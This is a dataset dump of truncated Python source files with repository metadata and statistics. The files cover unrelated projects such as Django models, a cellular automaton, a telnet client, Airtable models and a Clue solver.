] | null | null | null | code/functions/one_hop_majority_vote.py | YatongChen/decoupled_smoothing_on_graphs | b5110db92841c00193577adb0f5d3daa70f46845 | [
"MIT"
] | null | null | null | # one hop helper function
def one_hop_majority_vote(G, gender_y_update,train_index, test_index):
A = np.array(nx.adjacency_matrix(G).todense())
D = np.diag(np.sum(A, axis=1))
d = np.diag(D)
theta = [None]*len(gender_y_update)
accuracy_score_benchmark = np.sum(gender_y_update[train_index])/len(train... | 50.888889 | 231 | 0.69869 | 274 | 1,832 | 4.29927 | 0.248175 | 0.091681 | 0.110357 | 0.175722 | 0.421053 | 0.340407 | 0.340407 | 0.312394 | 0.312394 | 0.312394 | 0 | 0.009849 | 0.168668 | 1,832 | 36 | 232 | 50.888889 | 0.763624 | 0.026201 | 0 | 0 | 0 | 0 | 0.010112 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0 | 0 | 0.035714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd16ab23714a63a2de7b1edeefc67fc983b65d54 | 835 | py | Python | SRCTF/SRCTF/django_reuse/reuse/migrations/0002_auto_20160829_1452.py | yinyueacm/work-uga | d8fd104b8c5600e1715491fc5eeffaf5c0b5896c | [
"MIT"
] | 1 | 2019-01-11T03:20:34.000Z | 2019-01-11T03:20:34.000Z | SRCTF/SRCTF/django_reuse/reuse/migrations/0002_auto_20160829_1452.py | yinyueacm/yinyue-thesis | d8fd104b8c5600e1715491fc5eeffaf5c0b5896c | [
"MIT"
] | null | null | null | SRCTF/SRCTF/django_reuse/reuse/migrations/0002_auto_20160829_1452.py | yinyueacm/yinyue-thesis | d8fd104b8c5600e1715491fc5eeffaf5c0b5896c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-08-29 14:52
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('reuse', '0001_initial'),
]
operations = [
m... | 28.793103 | 118 | 0.602395 | 91 | 835 | 5.373626 | 0.67033 | 0.04908 | 0.05726 | 0.08998 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045603 | 0.264671 | 835 | 28 | 119 | 29.821429 | 0.750814 | 0.08024 | 0 | 0.095238 | 1 | 0 | 0.086275 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd17609bb6160f46ba3a4f3809db927e0e55536c | 5,976 | py | Python | complexity_science/ca/ca/ca1d.py | KristerJazz/complexity-science | 2340b7467d50c45d06fa93db7603f7f2778d3c4c | [
"BSD-3-Clause"
] | null | null | null | complexity_science/ca/ca/ca1d.py | KristerJazz/complexity-science | 2340b7467d50c45d06fa93db7603f7f2778d3c4c | [
"BSD-3-Clause"
] | 2 | 2021-03-28T16:23:00.000Z | 2021-04-05T08:10:35.000Z | complexity_science/ca/ca/ca1d.py | KristerJazz/complexity-science | 2340b7467d50c45d06fa93db7603f7f2778d3c4c | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
from .rule_manager import RuleManager
class CA1D():
def __init__(self, N):
"""
Creates an uninitialized 1D cellular automata object with length N
-------------
Parameters:
N = number of cells
n1 : left neigh... | 29.15122 | 138 | 0.54836 | 665 | 5,976 | 4.809023 | 0.222556 | 0.036585 | 0.0197 | 0.034397 | 0.372733 | 0.341463 | 0.276423 | 0.230144 | 0.199187 | 0.185428 | 0 | 0.009686 | 0.343541 | 5,976 | 204 | 139 | 29.294118 | 0.805506 | 0.378681 | 0 | 0.263889 | 0 | 0.013889 | 0.116793 | 0 | 0 | 0 | 0 | 0 | 0.013889 | 1 | 0.236111 | false | 0.013889 | 0.041667 | 0 | 0.361111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd19e6853abb785c9505d8a5f4aaf9326f1ad438 | 374 | py | Python | lstmcpipe/config/__init__.py | cta-observatory/lst-i-rf | 7a634e0b3b07dda2b20df47875d97616eab65821 | [
"MIT"
] | 2 | 2021-02-01T17:30:46.000Z | 2021-02-22T13:59:49.000Z | lstmcpipe/config/__init__.py | cta-observatory/lst-i-rf | 7a634e0b3b07dda2b20df47875d97616eab65821 | [
"MIT"
] | 106 | 2021-04-16T21:15:20.000Z | 2022-03-31T23:02:50.000Z | lstmcpipe/config/__init__.py | cta-observatory/lstmcpipe | 7a634e0b3b07dda2b20df47875d97616eab65821 | [
"MIT"
] | 3 | 2022-03-02T09:23:09.000Z | 2022-03-03T16:00:25.000Z | import os
from shutil import which
from .pipeline_config import load_config
__all__ = ["load_config"]
def export_env(outdir="."):
if which("conda") is not None:
os.system((f"conda env export > {os.path.join(outdir, 'conda_env.yml')}"))
elif which("pip") is not None:
os.system(f"python -m pip ... | 28.769231 | 87 | 0.671123 | 57 | 374 | 4.245614 | 0.526316 | 0.082645 | 0.07438 | 0.090909 | 0.14876 | 0.14876 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173797 | 374 | 12 | 88 | 31.166667 | 0.783172 | 0 | 0 | 0 | 0 | 0 | 0.382353 | 0.112299 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
fd1f6bede9086f03b21d05de1c334c5625e057f0 | 658 | py | Python | aeroplast/images.py | kk6/aeroplast | 8347bf071f43a560b865a7f37b76fb05f5cea57d | [
"MIT"
] | 1 | 2019-11-12T07:02:20.000Z | 2019-11-12T07:02:20.000Z | aeroplast/images.py | kk6/aeroplast | 8347bf071f43a560b865a7f37b76fb05f5cea57d | [
"MIT"
] | 14 | 2018-11-13T09:57:09.000Z | 2019-04-05T20:02:46.000Z | aeroplast/images.py | kk6/aeroplast | 8347bf071f43a560b865a7f37b76fb05f5cea57d | [
"MIT"
] | 1 | 2018-12-20T07:52:59.000Z | 2018-12-20T07:52:59.000Z | # -*- coding: utf-8 -*-
"""
Transparent PNG conversion
~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from PIL import Image
def get_new_size(original_size):
"""
Returns each width and height plus 2px.
:param original_size: Original image's size
:return: Width / height after calculation
:rtype: tuple
"""
... | 18.8 | 50 | 0.617021 | 84 | 658 | 4.761905 | 0.511905 | 0.09 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005952 | 0.234043 | 658 | 34 | 51 | 19.352941 | 0.787698 | 0.601824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd2a6afac5326ae943f8dfecdd01a780b28ea0e3 | 5,888 | py | Python | scripts/mv_drawables.py | euitam/MoveDrawable | 33923276d856de8effff9e958ba7a33767739137 | [
"Apache-2.0"
] | null | null | null | scripts/mv_drawables.py | euitam/MoveDrawable | 33923276d856de8effff9e958ba7a33767739137 | [
"Apache-2.0"
] | null | null | null | scripts/mv_drawables.py | euitam/MoveDrawable | 33923276d856de8effff9e958ba7a33767739137 | [
"Apache-2.0"
] | null | null | null | import sys, os, errno, shutil, signal, subprocess
from glob import glob
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def printTitle():
print bcolors.WARNING
print " _ _... | 28.038095 | 160 | 0.667969 | 745 | 5,888 | 5.091275 | 0.253691 | 0.030055 | 0.035592 | 0.03691 | 0.172423 | 0.172423 | 0.137358 | 0.130767 | 0.089639 | 0.076457 | 0 | 0.01411 | 0.169497 | 5,888 | 209 | 161 | 28.172249 | 0.761554 | 0.040421 | 0 | 0.160494 | 0 | 0.030864 | 0.198829 | 0.004789 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.012346 | null | null | 0.209877 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd37bfae595f1bdb3cabeb62c9beddb408f90236 | 315 | py | Python | tests/conftest.py | calpt/flask-filealchemy | b3575299f0230d5a64865af8066122c2e0c485ec | [
"MIT"
] | 16 | 2018-10-16T03:32:39.000Z | 2020-09-04T02:05:37.000Z | tests/conftest.py | calpt/flask-filealchemy | b3575299f0230d5a64865af8066122c2e0c485ec | [
"MIT"
] | 8 | 2019-02-25T10:59:15.000Z | 2019-03-11T08:36:57.000Z | tests/conftest.py | calpt/flask-filealchemy | b3575299f0230d5a64865af8066122c2e0c485ec | [
"MIT"
] | 3 | 2019-11-22T23:46:16.000Z | 2020-06-05T19:17:23.000Z | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import pytest
@pytest.fixture
def app():
return Flask(__name__)
@pytest.fixture
def db(app):
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///:memory:'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
return SQLAlchemy(app)
| 18.529412 | 64 | 0.742857 | 39 | 315 | 5.769231 | 0.487179 | 0.08 | 0.142222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149206 | 315 | 16 | 65 | 19.6875 | 0.839552 | 0 | 0 | 0.181818 | 0 | 0 | 0.225397 | 0.168254 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.272727 | 0.090909 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
fd3cb5b3e208b581d3cf014077d7e88f0727e79e | 3,465 | py | Python | books/models.py | MattRijk/finance-ebook-site | c564d4bc9578f0a6f47efa53f0c81893fbee08f7 | [
"MIT"
] | 1 | 2020-05-16T12:48:02.000Z | 2020-05-16T12:48:02.000Z | books/models.py | MattRijk/finance-ebook-site | c564d4bc9578f0a6f47efa53f0c81893fbee08f7 | [
"MIT"
] | null | null | null | books/models.py | MattRijk/finance-ebook-site | c564d4bc9578f0a6f47efa53f0c81893fbee08f7 | [
"MIT"
] | 3 | 2017-12-06T11:18:10.000Z | 2020-05-16T12:49:32.000Z | from django.db import models
from django.core.urlresolvers import reverse
from django.utils import timezone
from django.utils.text import slugify
class Author(models.Model):
name = models.CharField(max_length=50, unique=False)
slug = models.SlugField(max_length=200, blank=True, unique=False)
def ... | 33 | 72 | 0.610967 | 396 | 3,465 | 5.227273 | 0.20202 | 0.06087 | 0.078261 | 0.104348 | 0.58599 | 0.500483 | 0.435749 | 0.363285 | 0.363285 | 0.363285 | 0 | 0.01354 | 0.275325 | 3,465 | 104 | 73 | 33.317308 | 0.810832 | 0.012987 | 0 | 0.466667 | 0 | 0 | 0.036858 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.146667 | false | 0 | 0.053333 | 0.08 | 0.706667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
fd3e69529a275a604f79403141c9d3a32f7b625b | 341 | py | Python | bucketlist_django/bucketlist_django/settings/development.py | andela-tadesanya/django-bucketlist-application | 315ceb77e635fe051b5600ada460af938c140af1 | [
"MIT"
] | null | null | null | bucketlist_django/bucketlist_django/settings/development.py | andela-tadesanya/django-bucketlist-application | 315ceb77e635fe051b5600ada460af938c140af1 | [
"MIT"
] | null | null | null | bucketlist_django/bucketlist_django/settings/development.py | andela-tadesanya/django-bucketlist-application | 315ceb77e635fe051b5600ada460af938c140af1 | [
"MIT"
] | null | null | null | # load defaults and override with devlopment settings
from defaults import *
DEBUG = True
WSGI_APPLICATION = 'bucketlist_django.wsgi.application'
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'bucketlist',
'USER': 'bucketlist',
'PASSWORD': ... | 21.3125 | 59 | 0.653959 | 32 | 341 | 6.875 | 0.78125 | 0.136364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003774 | 0.222874 | 341 | 15 | 60 | 22.733333 | 0.826415 | 0.14956 | 0 | 0 | 0 | 0 | 0.454861 | 0.25 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.090909 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
fd4aa50f6950d8285cebb403be0898f64adbb857 | 2,495 | py | Python | gleague/gleague/frontend/seasons.py | Nuqlear/genkstaleague | 664ed1d3ebea9c43053546fc2d658083cc16526b | [
"MIT"
] | 7 | 2015-08-18T01:21:48.000Z | 2021-04-30T03:10:38.000Z | gleague/gleague/frontend/seasons.py | Nuqlear/genkstaleague | 664ed1d3ebea9c43053546fc2d658083cc16526b | [
"MIT"
] | 1 | 2019-04-28T10:02:39.000Z | 2019-05-06T08:11:56.000Z | gleague/gleague/frontend/seasons.py | Nuqlear/genkstaleague | 664ed1d3ebea9c43053546fc2d658083cc16526b | [
"MIT"
] | 3 | 2015-08-14T09:42:25.000Z | 2018-11-08T07:07:58.000Z | from flask import Blueprint
from flask import abort
from flask import render_template
from flask import request
from flask import current_app
from sqlalchemy import desc
from gleague.core import db
from gleague.models import Match
from gleague.models import Season
from gleague.models import SeasonStats
from gleague.mo... | 34.652778 | 83 | 0.710621 | 336 | 2,495 | 5.044643 | 0.199405 | 0.226549 | 0.049558 | 0.042478 | 0.362242 | 0.317994 | 0.317994 | 0.299115 | 0.230089 | 0.230089 | 0 | 0.005263 | 0.162325 | 2,495 | 71 | 84 | 35.140845 | 0.805742 | 0 | 0 | 0.15 | 0 | 0 | 0.110621 | 0.033267 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.183333 | 0 | 0.316667 | 0.033333 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd5213aa3c0233313738c5ac6fd68800d2601767 | 459 | py | Python | asal.py | kedigucuk01/asal-sayi-bulucu | dffc81cec5c4bbd6b4423d8991a5559a79f26f92 | [
"MIT"
] | 2 | 2021-06-10T16:27:42.000Z | 2021-06-11T10:54:24.000Z | asal.py | kedigucuk01/asal-sayi-bulucu | dffc81cec5c4bbd6b4423d8991a5559a79f26f92 | [
"MIT"
] | 1 | 2021-06-15T11:08:58.000Z | 2021-08-10T20:23:11.000Z | asal.py | kedigucuk01/asal-sayi-bulucu | dffc81cec5c4bbd6b4423d8991a5559a79f26f92 | [
"MIT"
] | null | null | null | while True:
try:
i = int(input("Sayı giriniz: ")) # 2
except ValueError:
print("Hata Kodu: 5786, \nAçıklama: Lütfen bir \"tam sayı\" giriniz.")
else:
for s in range(2, i, 1):
if i%s == 0:
print(f"{i} sayısı, asal değildir.")
break
else:
if s == i - 1:
print(f"{i} sayısı, as... | 20.863636 | 73 | 0.542484 | 71 | 459 | 3.507042 | 0.478873 | 0.096386 | 0.11245 | 0.208835 | 0.433735 | 0.433735 | 0.301205 | 0 | 0 | 0 | 0 | 0.033742 | 0.28976 | 459 | 21 | 74 | 21.857143 | 0.730061 | 0.002179 | 0 | 0.352941 | 0 | 0 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.294118 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd651bee99ddf05837b752023ba0b7975d179d63 | 660 | py | Python | src/featurehub/problems/__init__.py | vishalbelsare/FeatureHub | dca517338b6e1359faa47ba309f05691cb96e8f8 | [
"MIT"
] | 85 | 2017-09-11T22:37:34.000Z | 2022-02-26T09:07:05.000Z | src/featurehub/problems/__init__.py | HDI-Project/FeatureFactory | dca517338b6e1359faa47ba309f05691cb96e8f8 | [
"MIT"
] | 5 | 2018-08-08T15:34:36.000Z | 2018-11-15T04:52:10.000Z | src/featurehub/problems/__init__.py | HDI-Project/FeatureFactory | dca517338b6e1359faa47ba309f05691cb96e8f8 | [
"MIT"
] | 18 | 2017-11-01T04:14:16.000Z | 2021-09-27T00:53:32.000Z | import imp
import sys
from sqlalchemy.exc import ProgrammingError
from featurehub.user.session import Session
from featurehub.admin.admin import Commands
try:
for _problem in Commands().get_problems():
# Create a session for each problem and make it importable
_commands = Session(_problem)
... | 33 | 71 | 0.725758 | 74 | 660 | 6.27027 | 0.567568 | 0.084052 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201515 | 660 | 19 | 72 | 34.736842 | 0.880455 | 0.084848 | 0 | 0 | 0 | 0 | 0.229236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b5bab08cb20bbb7d8d1adf2e537dc3cd96869fbf | 2,830 | py | Python | rcommander/src/rcommander/trigger_tool.py | rummanwaqar/rcommander-core | 7106d5868db76c47dea6ad11118a54351a8bd390 | [
"BSD-3-Clause"
] | 4 | 2015-04-08T09:57:43.000Z | 2021-08-12T01:44:37.000Z | rcommander/src/rcommander/trigger_tool.py | jhu-lcsr-forks/rcommander-core | 1a0350e9b93687eff6a4407f72b5250be5f56919 | [
"BSD-3-Clause"
] | 1 | 2015-03-12T09:10:27.000Z | 2015-03-12T09:10:27.000Z | rcommander/src/rcommander/trigger_tool.py | jhu-lcsr-forks/rcommander-core | 1a0350e9b93687eff6a4407f72b5250be5f56919 | [
"BSD-3-Clause"
] | 3 | 2015-03-12T10:59:17.000Z | 2021-06-21T02:13:57.000Z | import tool_utils as tu
import PyQt4.QtGui as qtg
import PyQt4.QtCore as qtc
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import smach
import rospy
from msg import Trigger
TRIGGER_TOPIC = 'trigger'
class TriggerTool(tu.ToolBase):
def __init__(self, rcommander):
tu.ToolBase.__init__(self, rcomman... | 29.479167 | 99 | 0.639929 | 358 | 2,830 | 4.815642 | 0.310056 | 0.085267 | 0.089327 | 0.064965 | 0.112529 | 0.066125 | 0.041763 | 0 | 0 | 0 | 0 | 0.006667 | 0.257951 | 2,830 | 95 | 100 | 29.789474 | 0.814286 | 0.064664 | 0 | 0.060606 | 0 | 0 | 0.049224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.015152 | 0.121212 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5bbdd0d4bc19356fb3ff4442955d7c4c889b2e9 | 3,226 | py | Python | app/airtable/base_school_db/educators_schools.py | WildflowerSchools/wf-airtable-api | 963021e5108462d33efa222fedb00890e1788ad6 | [
"MIT"
] | null | null | null | app/airtable/base_school_db/educators_schools.py | WildflowerSchools/wf-airtable-api | 963021e5108462d33efa222fedb00890e1788ad6 | [
"MIT"
] | null | null | null | app/airtable/base_school_db/educators_schools.py | WildflowerSchools/wf-airtable-api | 963021e5108462d33efa222fedb00890e1788ad6 | [
"MIT"
] | null | null | null | from datetime import date
from typing import Optional, Union
from pydantic import BaseModel, Field, validator
from . import educators as educators_models
from . import schools as schools_models
from app.airtable.response import AirtableResponse
from app.airtable.validators import get_first_or_default_none
class Cr... | 32.26 | 119 | 0.712027 | 344 | 3,226 | 6.430233 | 0.22093 | 0.049729 | 0.033906 | 0.045208 | 0.34132 | 0.20434 | 0.115732 | 0.115732 | 0.115732 | 0.115732 | 0 | 0 | 0.207688 | 3,226 | 99 | 120 | 32.585859 | 0.865415 | 0 | 0 | 0.25 | 0 | 0 | 0.044017 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073529 | false | 0 | 0.132353 | 0 | 0.558824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b5bd68a22d06b0793abe8bb8a40789d31dac7150 | 3,250 | py | Python | cloudshell/cli/session/telnet_session.py | test-gh-org-workflow/probable-garbanzo | c6b8a0dbc573a2a0073b5ab7c8619c4d0baf7088 | [
"Apache-2.0"
] | 4 | 2017-01-31T14:05:19.000Z | 2019-04-10T16:35:44.000Z | cloudshell/cli/session/telnet_session.py | test-gh-org-workflow/probable-garbanzo | c6b8a0dbc573a2a0073b5ab7c8619c4d0baf7088 | [
"Apache-2.0"
] | 89 | 2016-05-25T14:17:38.000Z | 2022-03-17T13:09:59.000Z | cloudshell/cli/session/telnet_session.py | test-gh-org-workflow/probable-garbanzo | c6b8a0dbc573a2a0073b5ab7c8619c4d0baf7088 | [
"Apache-2.0"
] | 6 | 2016-07-21T12:24:10.000Z | 2022-02-21T06:33:18.000Z | import socket
import telnetlib
from collections import OrderedDict
from cloudshell.cli.session.connection_params import ConnectionParams
from cloudshell.cli.session.expect_session import ExpectSession
from cloudshell.cli.session.session_exceptions import (
SessionException,
SessionReadEmptyData,
SessionRea... | 27.542373 | 88 | 0.614462 | 327 | 3,250 | 5.847095 | 0.324159 | 0.057531 | 0.029289 | 0.037657 | 0.042887 | 0.042887 | 0.042887 | 0 | 0 | 0 | 0 | 0.000869 | 0.291692 | 3,250 | 117 | 89 | 27.777778 | 0.829713 | 0.057231 | 0 | 0 | 0 | 0 | 0.031656 | 0.01033 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0.059524 | 0.071429 | 0 | 0.238095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b5c11f56555074149df0acc7544e0c995e6baf54 | 3,213 | py | Python | gryphon/data_service/auditors/trades_volume_auditor.py | qiquanzhijia/gryphon | 7bb2c646e638212bd1352feb1b5d21536a5b918d | [
"Apache-2.0"
] | 1,109 | 2019-06-20T19:23:27.000Z | 2022-03-20T14:03:43.000Z | gryphon/data_service/auditors/trades_volume_auditor.py | qiquanzhijia/gryphon | 7bb2c646e638212bd1352feb1b5d21536a5b918d | [
"Apache-2.0"
] | 63 | 2019-06-21T05:36:17.000Z | 2021-05-26T21:08:15.000Z | gryphon/data_service/auditors/trades_volume_auditor.py | qiquanzhijia/gryphon | 7bb2c646e638212bd1352feb1b5d21536a5b918d | [
"Apache-2.0"
] | 181 | 2019-06-20T19:42:05.000Z | 2022-03-21T13:05:13.000Z | # -*- coding: utf-8 -*-
from datetime import timedelta
from delorean import Delorean
from sqlalchemy import and_
from twisted.internet import defer
from twisted.internet import reactor
from twisted.internet.defer import inlineCallbacks
from twisted.internet.task import LoopingCall
from twisted.python import log
from ... | 32.13 | 91 | 0.591659 | 342 | 3,213 | 5.385965 | 0.345029 | 0.052117 | 0.04126 | 0.043974 | 0.086862 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005102 | 0.328976 | 3,213 | 99 | 92 | 32.454545 | 0.849258 | 0.011204 | 0 | 0.026667 | 0 | 0 | 0.034352 | 0 | 0 | 0 | 0 | 0.010101 | 0 | 1 | 0.053333 | false | 0.013333 | 0.16 | 0 | 0.24 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5c6fd5f851fb29a3b78c943cdd438c87f4e64cf | 726 | py | Python | Patterns_Custom_Row-Column_PYTHON.py | sukantadas194/Patters.Python | 14e62b61defca2e1f192f6ac8b1484c0a9745cfb | [
"BSD-2-Clause"
] | null | null | null | Patterns_Custom_Row-Column_PYTHON.py | sukantadas194/Patters.Python | 14e62b61defca2e1f192f6ac8b1484c0a9745cfb | [
"BSD-2-Clause"
] | null | null | null | Patterns_Custom_Row-Column_PYTHON.py | sukantadas194/Patters.Python | 14e62b61defca2e1f192f6ac8b1484c0a9745cfb | [
"BSD-2-Clause"
] | null | null | null |
#Print Custom Row-Column Patterns..
#e.g. '''@ @ @ @
# @ @ @ @
# @ @ @ @'''
w = print("What do you want to print?")
wa = str(input("Answer : "))
try:
m1 = print("How many rows do you want to print?")
n1 = int(input("Answer : "))
m2 = print("How many columns do you want to print?... | 26.888889 | 61 | 0.506887 | 96 | 726 | 3.833333 | 0.520833 | 0.040761 | 0.07337 | 0.089674 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022495 | 0.326446 | 726 | 27 | 62 | 26.888889 | 0.730061 | 0.112948 | 0 | 0.210526 | 0 | 0 | 0.412724 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.578947 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
b5c737a61480861fc56685c1832b7805d5bbd65b | 17,116 | py | Python | app/cluegame.py | dabreese00/clue-solver | 3b99778075882974459e1c75792e7d051b6fe20a | [
"MIT"
] | null | null | null | app/cluegame.py | dabreese00/clue-solver | 3b99778075882974459e1c75792e7d051b6fe20a | [
"MIT"
] | null | null | null | app/cluegame.py | dabreese00/clue-solver | 3b99778075882974459e1c75792e7d051b6fe20a | [
"MIT"
] | null | null | null | """cluegame.py -- Classes to track Clue game events and make inferences
The board game Clue is also known as Cluedo. This module contains classes that
make it possible to record specific knowledge-generating events that a Clue
player may observe during the course of a game (such as, for example, that
